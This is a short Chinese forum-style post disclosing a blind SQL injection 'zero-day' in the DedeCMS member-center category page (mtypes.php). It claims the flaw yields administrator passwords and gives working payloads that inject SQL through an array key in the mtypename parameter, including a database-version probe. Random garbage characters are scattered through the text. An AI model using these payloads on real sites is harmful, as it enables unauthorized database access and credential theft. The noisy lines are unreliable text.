DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

! R  R( }7 {, S! O: I8 }+ o5 C* J
  s% [& x; K5 {! e7 X. Y发生在数组key里的注射漏洞,有点意思.

9 _5 b$ {$ ]; c6 e+ Y+ f$ F这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

  ^2 z" \  l1 F8 Z% ghttp://www.xxx.com /dede/member/mtypes.php?dopost=save
& \& p: z8 e& V6 V+ q8 O
exploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r